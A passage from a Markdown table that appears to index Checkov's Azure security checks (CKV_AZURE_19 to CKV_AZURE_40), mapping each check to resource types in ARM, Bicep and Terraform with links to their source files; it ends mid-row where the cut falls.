         | Bicep                   | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterStandardPricing.py)                                                                               |\n| 5571 | CKV_AZURE_19             | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that standard pricing tier is selected                                                                                                                                                            | Terraform               | [SecurityCenterStandardPricing.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterStandardPricing.py)                                                                   |\n| 5572 | CKV_AZURE_20             | resource                         | Microsoft.Security/securityContacts                                                              | Ensure that security contact 'Phone number' is set                                                                                                                                                       | arm                     | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactPhone.py)                                                                                     |\n| 5573 | CKV_AZURE_20             | resource                         | Microsoft.Security/securityContacts                                                              | Ensure that security contact 'Phone number' is set                                                                                                                                                       | Bicep                   | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactPhone.py)                                                                                     |\n| 5574 | CKV_AZURE_20             | resource                         | azurerm_security_center_contact                                                                  | Ensure that security contact 'Phone number' is set                                                                                                                                                       | Terraform               | [SecurityCenterContactPhone.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactPhone.py)                                                                         |\n| 5575 | CKV_AZURE_21             | resource                         | Microsoft.Security/securityContacts                                                              | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                                                                                                            | arm                     | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py)                                                                           |\n| 5576 | CKV_AZURE_21             | resource                         | Microsoft.Security/securityContacts                                                              | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                                                                                                            | Bicep                   | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlert.py)                                                                           |\n| 5577 | CKV_AZURE_21             | resource                         | azurerm_security_center_contact                                                                  | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                                                                                                            | Terraform               | [SecurityCenterContactEmailAlert.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlert.py)                                                               |\n| 5578 | CKV_AZURE_22             | resource                         | Microsoft.Security/securityContacts                                                              | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                                                                                                            | arm                     | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py)                                                               |\n| 5579 | CKV_AZURE_22             | resource                         | Microsoft.Security/securityContacts                                                              | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                                                                                                            | Bicep                   | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecurityCenterContactEmailAlertAdmins.py)                                                               |\n| 5580 | CKV_AZURE_22             | resource                         | azurerm_security_center_contact                                                                  | Ensure that 'Send email notification for high severity alerts' is set to 'On'                                                                                                                            | Terraform               | [SecurityCenterContactEmailAlertAdmins.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmailAlertAdmins.py)                                                   |\n| 5581 | CKV_AZURE_23             | resource                         | Microsoft.Sql/servers                                                                            | Ensure that 'Auditing' is set to 'Enabled' for SQL servers                                                                                                                                               | arm                     | [SQLServerAuditingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingEnabled.py)                                                                                         |\n| 5582 | CKV_AZURE_23             | resource                         | Microsoft.Sql/servers                                                                            | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Bicep                   | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml)                                                                               |\n| 5583 | CKV_AZURE_23             | resource                         | Microsoft.Sql/servers/auditingSettings                                                           | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Bicep                   | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml)                                                                               |\n| 5584 | CKV_AZURE_23             | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure that 'Auditing' is set to 'Enabled' for SQL servers                                                                                                                                               | arm                     | [SQLServerAuditingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingEnabled.py)                                                                                         |\n| 5585 | CKV_AZURE_23             | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Bicep                   | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml)                                                                               |\n| 5586 | CKV_AZURE_23             | resource                         | Microsoft.Sql/servers/databases/auditingSettings                                                 | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Bicep                   | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingEnabled.yaml)                                                                               |\n| 5587 | CKV_AZURE_23             | resource                         | azurerm_mssql_server                                                                             | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Terraform               | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml)                                                                     |\n| 5588 | CKV_AZURE_23             | resource                         | azurerm_mssql_server_extended_auditing_policy                                                    | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Terraform               | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml)                                                                     |\n| 5589 | CKV_AZURE_23             | resource                         | azurerm_sql_server                                                                               | Ensure that 'Auditing' is set to 'On' for SQL servers                                                                                                                                                    | Terraform               | [SQLServerAuditingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingEnabled.yaml)                                                                     |\n| 5590 | CKV_AZURE_24             | resource                         | Microsoft.Sql/servers                                                                            | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | arm                     | [SQLServerAuditingRetention90Days.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerAuditingRetention90Days.py)                                                                         |\n| 5591 | CKV_AZURE_24             | resource                         | Microsoft.Sql/servers                                                                            | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | Bicep                   | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml)                                                               |\n| 5592 | CKV_AZURE_24             | resource                         | Microsoft.Sql/servers/auditingSettings                                                           | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | Bicep                   | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerAuditingRetention90Days.yaml)                                                               |\n| 5593 | CKV_AZURE_24             | resource                         | azurerm_mssql_server                                                                             | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | Terraform               | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml)                                                     |\n| 5594 | CKV_AZURE_24             | resource                         | azurerm_mssql_server_extended_auditing_policy                                                    | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | Terraform               | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml)                                                     |\n| 5595 | CKV_AZURE_24             | resource                         | azurerm_sql_server                                                                               | Ensure that 'Auditing' Retention is 'greater than 90 days' for SQL servers                                                                                                                               | Terraform               | [SQLServerAuditingRetention90Days.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/azure/SQLServerAuditingRetention90Days.yaml)                                                     |\n| 5596 | CKV_AZURE_25             | resource                         | Microsoft.Sql/servers                                                                            | Azure SQL Server threat detection alerts are enabled for all threat types                                                                                                                                | Bicep                   | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml)                                                                     |\n| 5597 | CKV_AZURE_25             | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure that 'Threat Detection types' is set to 'All'                                                                                                                                                     | arm                     | [SQLServerThreatDetectionTypes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerThreatDetectionTypes.py)                                                                               |\n| 5598 | CKV_AZURE_25             | resource                         | Microsoft.Sql/servers/databases                                                                  | Azure SQL Server threat detection alerts are enabled for all threat types                                                                                                                                | Bicep                   | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml)                                                                     |\n| 5599 | CKV_AZURE_25             | resource                         | Microsoft.Sql/servers/databases/securityAlertPolicies                                            | Azure SQL Server threat detection alerts are enabled for all threat types                                                                                                                                | Bicep                   | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml)                                                                     |\n| 5600 | CKV_AZURE_25             | resource                         | Microsoft.Sql/servers/securityAlertPolicies                                                      | Azure SQL Server threat detection alerts are enabled for all threat types                                                                                                                                | Bicep                   | [SQLServerThreatDetectionTypes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/graph_checks/SQLServerThreatDetectionTypes.yaml)                                                                     |\n| 5601 | CKV_AZURE_25             | resource                         | azurerm_mssql_server_security_alert_policy                                                       | Ensure that 'Threat Detection types' is set to 'All'                                                                                                                                                     | Terraform               | [SQLServerThreatDetectionTypes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerThreatDetectionTypes.py)                                                                   |\n| 5602 | CKV_AZURE_26             | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure that 'Send Alerts To' is enabled for MSSQL servers                                                                                                                                                | arm                     | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py)                                                                                   |\n| 5603 | CKV_AZURE_26             | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure that 'Send Alerts To' is enabled for MSSQL servers                                                                                                                                                | Bicep                   | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsEnabled.py)                                                                                   |\n| 5604 | CKV_AZURE_26             | resource                         | azurerm_mssql_server_security_alert_policy                                                       | Ensure that 'Send Alerts To' is enabled for MSSQL servers                                                                                                                                                | Terraform               | [SQLServerEmailAlertsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerEmailAlertsEnabled.py)                                                                       |\n| 5605 | CKV_AZURE_27             | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers                                                                                                                         | arm                     | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py)                                                                   |\n| 5606 | CKV_AZURE_27             | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers                                                                                                                         | Bicep                   | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerEmailAlertsToAdminsEnabled.py)                                                                   |\n| 5607 | CKV_AZURE_27             | resource                         | azurerm_mssql_server_security_alert_policy                                                       | Ensure that 'Email service and co-administrators' is 'Enabled' for MSSQL servers                                                                                                                         | Terraform               | [SQLServerEmailAlertsToAdminsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLServerEmailAlertsToAdminsEnabled.py)                                                       |\n| 5608 | CKV_AZURE_28             | resource                         | Microsoft.DBforMySQL/servers                                                                     | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server                                                                                                                            | arm                     | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py)                                                                         |\n| 5609 | CKV_AZURE_28             | resource                         | Microsoft.DBforMySQL/servers                                                                     | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server                                                                                                                            | Bicep                   | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerSSLEnforcementEnabled.py)                                                                         |\n| 5610 | CKV_AZURE_28             | resource                         | azurerm_mysql_server                                                                             | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MySQL Database Server                                                                                                                            | Terraform               | [MySQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MySQLServerSSLEnforcementEnabled.py)                                                             |\n| 5611 | CKV_AZURE_29             | resource                         | Microsoft.DBforPostgreSQL/servers                                                                | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server                                                                                                                       | arm                     | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py)                                                               |\n| 5612 | CKV_AZURE_29             | resource                         | Microsoft.DBforPostgreSQL/servers                                                                | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server                                                                                                                       | Bicep                   | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerSSLEnforcementEnabled.py)                                                               |\n| 5613 | CKV_AZURE_29             | resource                         | azurerm_postgresql_server                                                                        | Ensure 'Enforce SSL connection' is set to 'ENABLED' for PostgreSQL Database Server                                                                                                                       | Terraform               | [PostgreSQLServerSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerSSLEnforcementEnabled.py)                                                   |\n| 5614 | CKV_AZURE_30             | resource                         | Microsoft.DBforPostgreSQL/servers/configurations                                                 | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                                                                                                                  | arm                     | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py)                                                               |\n| 5615 | CKV_AZURE_30             | resource                         | Microsoft.DBforPostgreSQL/servers/configurations                                                 | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                                                                                                                  | Bicep                   | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py)                                                               |\n| 5616 | CKV_AZURE_30             | resource                         | azurerm_postgresql_configuration                                                                 | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                                                                                                                  | Terraform               | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogCheckpointsEnabled.py)                                                   |\n| 5617 | CKV_AZURE_30             | resource                         | configurations                                                                                   | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                                                                                                                  | arm                     | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py)                                                               |\n| 5618 | CKV_AZURE_30             | resource                         | configurations                                                                                   | Ensure server parameter 'log_checkpoints' is set to 'ON' for PostgreSQL Database Server                                                                                                                  | Bicep                   | [PostgreSQLServerLogCheckpointsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogCheckpointsEnabled.py)                                                               |\n| 5619 | CKV_AZURE_31             | resource                         | Microsoft.DBforPostgreSQL/servers/configurations                                                 | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server                                                                                                                     | arm                     | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py)                                                               |\n| 5620 | CKV_AZURE_31             | resource                         | Microsoft.DBforPostgreSQL/servers/configurations                                                 | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server                                                                                                                     | Bicep                   | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py)                                                               |\n| 5621 | CKV_AZURE_31             | resource                         | azurerm_postgresql_configuration                                                                 | Ensure server parameter 'log_connections' is set to 'ON' for PostgreSQL Database Server                                                                                                                  | Terraform               | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogConnectionsEnabled.py)                                                   |\n| 5622 | CKV_AZURE_31             | resource                         | configurations                                                                                   | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server                                                                                                                     | arm                     | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py)                                                               |\n| 5623 | CKV_AZURE_31             | resource                         | configurations                                                                                   | Ensure configuration 'log_connections' is set to 'ON' for PostgreSQL Database Server                                                                                                                     | Bicep                   | [PostgreSQLServerLogConnectionsEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerLogConnectionsEnabled.py)                                                               |\n| 5624 | CKV_AZURE_32             | resource                         | Microsoft.DBforPostgreSQL/servers/configurations                                                 | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                                                                                                            | arm                     | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py)                                                   |\n| 5625 | CKV_AZURE_32             | resource                         | Microsoft.DBforPostgreSQL/servers/configurations                                                 | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                                                                                                            | Bicep                   | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py)                                                   |\n| 5626 | CKV_AZURE_32             | resource                         | azurerm_postgresql_configuration                                                                 | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                                                                                                            | Terraform               | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerConnectionThrottlingEnabled.py)                                       |\n| 5627 | CKV_AZURE_32             | resource                         | configurations                                                                                   | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                                                                                                            | arm                     | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py)                                                   |\n| 5628 | CKV_AZURE_32             | resource                         | configurations                                                                                   | Ensure server parameter 'connection_throttling' is set to 'ON' for PostgreSQL Database Server                                                                                                            | Bicep                   | [PostgreSQLServerConnectionThrottlingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerConnectionThrottlingEnabled.py)                                                   |\n| 5629 | CKV_AZURE_33             | resource                         | Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings                     | Ensure Storage logging is enabled for Queue service for read, write and delete requests                                                                                                                  | arm                     | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py)                                                         |\n| 5630 | CKV_AZURE_33             | resource                         | Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings                     | Ensure Storage logging is enabled for Queue service for read, write and delete requests                                                                                                                  | Bicep                   | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py)                                                         |\n| 5631 | CKV_AZURE_33             | resource                         | azurerm_storage_account                                                                          | Ensure Storage logging is enabled for Queue service for read, write and delete requests                                                                                                                  | Terraform               | [StorageAccountLoggingQueueServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountLoggingQueueServiceEnabled.py)                                             |\n| 5632 | CKV_AZURE_34             | resource                         | Microsoft.Storage/storageAccounts/blobServices/containers                                        | Ensure that 'Public access level' is set to Private for blob containers                                                                                                                                  | arm                     | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                                         |\n| 5633 | CKV_AZURE_34             | resource                         | Microsoft.Storage/storageAccounts/blobServices/containers                                        | Ensure that 'Public access level' is set to Private for blob containers                                                                                                                                  | Bicep                   | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                                         |\n| 5634 | CKV_AZURE_34             | resource                         | azurerm_storage_container                                                                        | Ensure that 'Public access level' is set to Private for blob containers                                                                                                                                  | Terraform               | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageBlobServiceContainerPrivateAccess.py)                                             |\n| 5635 | CKV_AZURE_34             | resource                         | blobServices/containers                                                                          | Ensure that 'Public access level' is set to Private for blob containers                                                                                                                                  | arm                     | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                                         |\n| 5636 | CKV_AZURE_34             | resource                         | blobServices/containers                                                                          | Ensure that 'Public access level' is set to Private for blob containers                                                                                                                                  | Bicep                   | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                                         |\n| 5637 | CKV_AZURE_34             | resource                         | containers                                                                                       | Ensure that 'Public access level' is set to Private for blob containers                                                                                                                                  | arm                     | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                                         |\n| 5638 | CKV_AZURE_34             | resource                         | containers                                                                                       | Ensure that 'Public access level' is set to Private for blob containers                                                                                                                                  | Bicep                   | [StorageBlobServiceContainerPrivateAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py)                                                         |\n| 5639 | CKV_AZURE_35             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure default network access rule for Storage Accounts is set to deny                                                                                                                                   | arm                     | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDefaultNetworkAccessDeny.py)                                                             |\n| 5640 | CKV_AZURE_35             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure default network access rule for Storage Accounts is set to deny                                                                                                                                   | Bicep                   | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py)                                                     |\n| 5641 | CKV_AZURE_35             | resource                         | azurerm_storage_account                                                                          | Ensure default network access rule for Storage Accounts is set to deny                                                                                                                                   | Terraform               | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py)                                                 |\n| 5642 | CKV_AZURE_35             | resource                         | azurerm_storage_account_network_rules                                                            | Ensure default network access rule for Storage Accounts is set to deny                                                                                                                                   | Terraform               | [StorageAccountDefaultNetworkAccessDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountDefaultNetworkAccessDeny.py)                                                 |\n| 5643 | CKV_AZURE_36             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access                                                                                                                                | arm                     | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountAzureServicesAccessEnabled.py)                                                         |\n| 5644 | CKV_AZURE_36             | resource                         | Microsoft.Storage/storageAccounts                                                                | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access                                                                                                                                | Bicep                   | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py)                                                 |\n| 5645 | CKV_AZURE_36             | resource                         | azurerm_storage_account                                                                          | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access                                                                                                                                | Terraform               | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py)                                             |\n| 5646 | CKV_AZURE_36             | resource                         | azurerm_storage_account_network_rules                                                            | Ensure 'Trusted Microsoft Services' is enabled for Storage Account access                                                                                                                                | Terraform               | [StorageAccountAzureServicesAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageAccountAzureServicesAccessEnabled.py)                                             |\n| 5647 | CKV_AZURE_37             | resource                         | Microsoft.Insights/logprofiles                                                                   | Ensure that Activity Log Retention is set 365 days or greater                                                                                                                                            | arm                     | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py)                                                                             |\n| 5648 | CKV_AZURE_37             | resource                         | Microsoft.Insights/logprofiles                                                                   | Ensure that Activity Log Retention is set 365 days or greater                                                                                                                                            | Bicep                   | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py)                                                                             |\n| 5649 | CKV_AZURE_37             | resource                         | azurerm_monitor_log_profile                                                                      | Ensure that Activity Log Retention is set 365 days or greater                                                                                                                                            | Terraform               | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MonitorLogProfileRetentionDays.py)                                                                 |\n| 5650 | CKV_AZURE_38             | resource                         | Microsoft.Insights/logprofiles                                                                   | Ensure audit profile captures all the activities                                                                                                                                                         | arm                     | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileCategories.py)                                                                                   |\n| 5651 | CKV_AZURE_38             | resource                         | Microsoft.Insights/logprofiles                                                                   | Ensure audit profile captures all the activities                                                                                                                                                         | Bicep                   | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileCategories.py)                                                                                   |\n| 5652 | CKV_AZURE_38             | resource                         | azurerm_monitor_log_profile                                                                      | Ensure audit profile captures all the activities                                                                                                                                                         | Terraform               | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MonitorLogProfileCategories.py)                                                                       |\n| 5653 | CKV_AZURE_39             | resource                         | Microsoft.Authorization/roleDefinitions                                                          | Ensure that no custom subscription owner roles are created                                                                                                                                               | arm                     | [CustomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py)                                                               |\n| 5654 | CKV_AZURE_39             | resource                         | Microsoft.Authorization/roleDefinitions                                                          | Ensure that no custom subscription owner roles are created                                                                                                                                               | Bicep                   | [CustomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py)                                                               |\n| 5655 | CKV_AZURE_39             | resource                         | azurerm_role_definition                                                                          | Ensure that no custom subscription owner roles are created                                                                                                                                               | Terraform               | [CutsomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CutsomRoleDefinitionSubscriptionOwner.py)                                                   |\n| 5656 | CKV_AZURE_40             | resource                         | Microsoft.KeyVault/vaults/keys                                                                   | Ensure that the expiration date is set on all keys                                                                                                                                                       | arm                     | 